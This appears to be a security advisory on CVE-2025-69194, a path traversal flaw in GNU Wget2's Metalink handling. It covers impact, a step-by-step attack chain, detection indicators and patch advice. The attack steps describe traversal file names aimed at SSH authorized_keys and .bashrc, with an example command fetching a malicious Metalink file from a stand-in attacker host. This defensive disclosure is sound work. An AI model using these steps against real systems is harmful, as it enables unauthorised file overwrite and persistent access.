CVE-2025-69194: 
NixOS vulnerability analysis and mitigation

CVE-2025-69194 is a path traversal vulnerability in GNU Wget2's Metalink document processing that allows attackers to write files to arbitrary locations on the victim's system. The flaw affects GNU wget and wget2 versions before 2.2.1, as well as Microsoft Azure Linux 3 wget packages (versions 2.1.0-6 and 2.1.0-7). It was first reported on December 29, 2025, and published to NVD on January 9, 2026. NVD assigns a CVSS v3.1 base score of 9.8 (Critical), while the Fedora Project CNA scores it 8.8 (High) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — Path Traversal). When GNU Wget2 processes Metalink v3/v4 documents, it trusts attacker-supplied values in <file name> elements without proper sanitization, allowing traversal sequences (e.g., ../../) or absolute paths to be specified. This enables an attacker to cause wget2 to create, truncate, or overwrite arbitrary files writable by the victim user. The attack is network-based and requires no authentication; exploitation occurs when a user downloads a Metalink document from a malicious or compromised server. A public proof-of-concept repository exists at github.com/secdongle/POC_CVE-2025-69194 (Red Hat Bugzilla, Vulners PoC).

Successful exploitation allows a remote attacker to write files to arbitrary locations accessible by the victim user, enabling overwriting of critical configuration files, shell startup scripts, SSH authorized keys, or cron jobs to achieve persistent code execution. This results in high confidentiality, integrity, and availability impact — attackers can exfiltrate data, establish backdoors, or cause data loss by truncating important files. The vulnerability can serve as a stepping stone for lateral movement or privilege escalation if sensitive system files are overwritten (Red Hat Bugzilla, SecurityOnline).

A public proof-of-concept exploit has been published on GitHub (secdongle/POC_CVE-2025-69194) and indexed by Vulners, indicating active weaponization potential. Exploitation has been reported by multiple sources including vulners.com, and the vulnerability requires no authentication and (per NVD scoring) no user interaction, making it highly accessible to remote attackers. The EPSS score is approximately 0.034%, suggesting currently low automated exploitation probability, and there is no confirmed CISA KEV catalog listing at this time. No specific threat actor attribution has been reported (Vulners PoC, Feedly).

1. Reconnaissance: Identify targets that use GNU Wget2 (versions before 2.2.1) to download files via Metalink documents, particularly automated scripts or CI/CD pipelines that process Metalink URLs.
2. Craft malicious Metalink document: Create a Metalink v3 or v4 XML document with a <file name> element containing a path traversal sequence, such as ../../.ssh/authorized_keys or ../../.bashrc, pointing to a sensitive file writable by the target user.
3. Host the malicious Metalink: Serve the crafted Metalink document from an attacker-controlled server, or perform a man-in-the-middle attack to inject the malicious Metalink response when the victim requests a legitimate Metalink URL.
4. Trigger download: Cause the victim to invoke wget2 with the malicious Metalink URL (e.g., wget2 http://attacker.com/malicious.meta4). Wget2 processes the Metalink document without sanitizing the <file name> value.
5. Achieve arbitrary file write: Wget2 writes the downloaded content to the attacker-specified path (e.g., appending an SSH public key to ~/.ssh/authorized_keys), enabling persistent access, code execution, or data destruction (Red Hat Bugzilla, Vulners PoC).

• File System: Unexpected modifications to ~/.ssh/authorized_keys, ~/.bashrc, ~/.profile, ~/.bash_profile, or cron files with timestamps correlating to wget2 invocations; new or modified files in directories outside the expected download destination.
• Logs: Shell history or audit logs showing wget2 invoked with Metalink URLs (.meta4 or .metalink extensions) from external or unknown sources; file write events to sensitive paths by the wget2 process.
• Network: Outbound HTTP/HTTPS connections from servers or workstations to unfamiliar hosts serving .meta4 or .metalink files; unexpected inbound SSH connections following wget2 activity.
• Process: wget2 process spawning with Metalink-related arguments; file creation events outside the current working directory attributed to the wget2 process (Red Hat Bugzilla, SecurityOnline).

Upgrade GNU wget/wget2 to version 2.2.1 or later, which contains the fix for this path traversal vulnerability. For Microsoft Azure Linux 3, apply the updated wget packages beyond versions 2.1.0-6 and 2.1.0-7 as provided by Microsoft MSRC. As an interim workaround where patching is not immediately possible, avoid processing Metalink documents from untrusted sources, disable Metalink support if the feature is not required, and restrict network access for wget2 invocations. Fedora, openSUSE Tumbleweed, Mageia, and Debian have all released updated packages (Red Hat Advisory, Microsoft MSRC, Red Hat Bugzilla).

The vulnerability received broad coverage from security news outlets including SecurityOnline, CyberPress, GBHackers, CyberSecurityNews, and SC World, with most highlighting the critical severity and potential for remote file overwrite without user interaction. The Hacker News included it in their weekly recap of notable exploits. Security researchers on Mastodon (infosec.exchange) and Bluesky discussed the vulnerability shortly after disclosure. The oss-security mailing list also carried a disclosure thread (seclists.org/oss-sec/2026/q1/30). Linux distribution maintainers for Fedora, openSUSE, Mageia, and Debian responded promptly with security updates (SecurityOnline, SC World, The Hacker News).